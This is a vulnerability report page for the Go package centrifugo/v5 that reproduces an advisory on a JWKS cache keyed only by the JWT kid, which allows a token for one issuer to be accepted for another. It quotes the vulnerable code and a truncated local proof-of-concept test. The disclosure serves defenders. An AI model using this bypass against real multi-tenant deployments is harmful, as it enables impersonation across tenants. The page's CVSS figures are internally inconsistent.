go package report

Is github.com/centrifugal/centrifugo/v5 safe?

1 known vulnerability, worst severity HIGH.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      Tracked for PyPI packages. HuggingFace models declare Python dependencies, so go packages are not covered.


      cvss
      0.0
      high

      severity out of 10

      epss
      0.00%
      low

      chance of exploitation in 30 days, 16th percentile of all CVEs

      xyz score
      not scored

      CyberXYZ composite out of 10

      fig. 01 — GHSA-g6vg-wj8f-48cj, the advisory selected below

      // 1 advisories

      GHSA-g6vg-wj8f-48cj

      HIGHCVE-2026-49998
      // summary

      Centrifugo's dynamic JWKS endpoint feature can verify a JWT for one allowed issuer using a public key cached from another allowed issuer. The JWKS cache and singleflight lookup are keyed only by the JWT header kid, not by the resolved JWKS endpoint, issuer, audience, or other trust-domain namespace.

      In a documented multi-issuer dynamic JWKS configuration, an attacker who can obtain or mint a valid token for issuer/tenant A can authenticate as issuer/tenant B if both JWKS documents use the same kid value and tenant A's key is cached first. This affects connection token verification and subscription token verification because both paths use the same JWKS verification manager.

      // details

      The vulnerable path is reachable when either of these shipped configuration options is set to a templated JWKS URL using values derived from JWT iss or aud claims:

      • client.token.jwkspublicendpoint
      • client.subscriptiontoken.jwkspublicendpoint

      Relevant shipped config fields are defined in internal/configtypes/types.go:59-65, mapped into verifier configuration in internal/confighelpers/jwt.go:36-41, and exposed in the generated config schema at internal/cli/configdoc/schema.json:3927, 3947, 3967, 3987, 4069, 4089, 4109, and 4129. Dynamic JWKS endpoints based on iss and aud are documented in the project changelog at CHANGELOG.md:107.

      External clients control JWT connection and subscription tokens:

      • Connection tokens reach VerifyConnectToken from internal/client/handler.go:350-352.
      • Normal subscription tokens reach VerifySubscribeToken from internal/client/handler.go:769-775.
      • Subscription refresh tokens reach VerifySubscribeToken from internal/client/handler.go:628-632.

      The verifier must parse token claims before signature verification to resolve the dynamic JWKS endpoint:

      • VerifyConnectToken parses without verification at internal/jwtverify/tokenverifierjwt.go:528-535, extracts template variables before signature verification at internal/jwtverify/tokenverifierjwt.go:539-548, then validates claims only after signature verification at internal/jwtverify/tokenverifierjwt.go:557-560.
      • VerifySubscribeToken follows the same pattern at internal/jwtverify/tokenverifierjwt.go:700-732.

      The problem is that the JWKS cache lookup ignores the endpoint/trust domain selected by those token variables. internal/jwtverify/tokenverifierjwt.go:242-245 passes only the JWT header kid plus token-derived variables to the JWKS manager:

      func (j *jwksManager) verify(token *jwt.Token, tokenVars map[string]any) error {
          kid := token.Header().KeyID
      
          key, err := j.Manager.FetchKey(context.Background(), kid, tokenVars)

      internal/jwks/manager.go:96-117 checks cache and singleflight using only kid:

      func (m *Manager) FetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {
          if kid == "" {
              return nil, ErrKeyIDNotProvided
          }
      
          if m.useCache {
              key, err := m.cache.Get(kid)
              if err == nil {
                  return key, nil
              }
          }
      
          v, err, _ := m.group.Do(kid, func() (any, error) {
              return m.fetchKey(ctx, kid, tokenVars)
          })

      The resolved JWKS URL is computed only later in internal/jwks/manager.go:133-149:

      func (m *Manager) fetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {
          jwkURL := m.url.ExecuteString(tokenVars)
          ...
          req, err := http.NewRequestWithContext(ctx, http.MethodGet, jwkURL, nil)

      The TTL cache also stores and retrieves keys only by kid at internal/jwks/cachettl.go:82-101:

      func (tc *TTLCache) Add(key *JWK) error {
          ...
          tc.items[key.Kid] = item
      }
      
      func (tc *TTLCache) Get(kid string) (*JWK, error) {
          ...
          item, ok := tc.items[kid]

      As a result, a key fetched from tenant A's JWKS endpoint can be reused to verify a token claiming tenant B before tenant B's JWKS endpoint is consulted.

      I also reviewed the template safety mitigation in internal/jwtverify/validate.go:99-154. It restricts placeholder regex groups to finite literal alternatives, which helps prevent arbitrary endpoint substitution, but it does not scope cached keys by the resolved endpoint or issuer/audience namespace. The PoC uses a validator-accepted issuer regex: ^(?Ptenant-a|tenant-b)$.

      // poc

      This is a safe local-only unit test using httptest.Server and generated RSA key pairs. It does not contact external systems.

      From a clean checkout of centrifugal/centrifugo at commit 458ee0500f046877d7e8375e32f5e842bc95535b, add this file as internal/jwtverify/jwkscachepoctest.go:

      package jwtverify
      
      import (
          "crypto/rsa"
          "encoding/json"
          "net/http"
          "net/http/httptest"
          "sync/atomic"
          "testing"
          "time"
      
          "github.com/centrifugal/centrifugo/v6/internal/config"
      
          "github.com/cristalhq/jwt/v5"
          "github.com/stretchr/testify/require"
      )
      
      func writeRSAJWKS(t *testing.T, w http.ResponseWriter, pubKey *rsa.PublicKey, kid string) {
          t.Helper()
          resp := map[string]any{
              "keys": []map[string]string{
                  {
                      "alg": "RS256",
                      "kty": "RSA",
                      "use": "sig",
                      "kid": kid,
                      "n":   encodeToString(pubKey.N.Bytes()),
                      "e":   encodeUint64ToString(uint64(pubKey.E)),
                  },
              },
          }
          w.Header().Set("Content-Type", "application/json")
          require.NoError(t, json.NewEncoder(w).Encode(resp))
      }
      
      func getRSAIssuerConnToken(t *testing.T, user string, issuer string, rsaPrivateKey *rsa.PrivateKey, kid string) string {
          t.Helper()
          signer, err := jwt.NewSignerRS(jwt.RS256, rsaPrivateKey)
          require.NoError(t, err)
          builder := jwt.NewBuilder(signer, jwt.WithKeyID(kid))
          claims := &ConnectTokenClaims{
              Base64Info: "e30=",
              RegisteredClaims: jwt.RegisteredClaims{
                  Subject:   user,
                  Issuer:    issuer,
                  ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)),
              },
          }
          token, err := builder.Build(claims)
          require.NoError(t, err)
          return token.String()
      }
      
      func TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC(t *testing.T) {
          const kid = "shared-kid"
      
          tenantAPrivateKey, tenantAPublicKey := generateTestRSAKeys(t)
          tenantBPrivateKey, tenantBPublicKey := generateTestRSAKeys(t)
      
          var tenantARequests int32
          var tenantBRequests int32
      
          ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
              switch r.URL.Path {
              case "/tenant-a/jwks.json":
                  atomic.AddInt32(&tenantARequests, 1)
        
      // cvss v3.1 vector

      CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

      Attack vector
      Network
      Attack complexity
      High
      Privileges required
      Low
      User interaction
      None
      Scope
      Changed
      Confidentiality
      High
      Integrity
      High
      Availability
      None

      Checked 2026-09-26 at 01:04 UTC. The most recent advisory here was published 2026-07-01. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.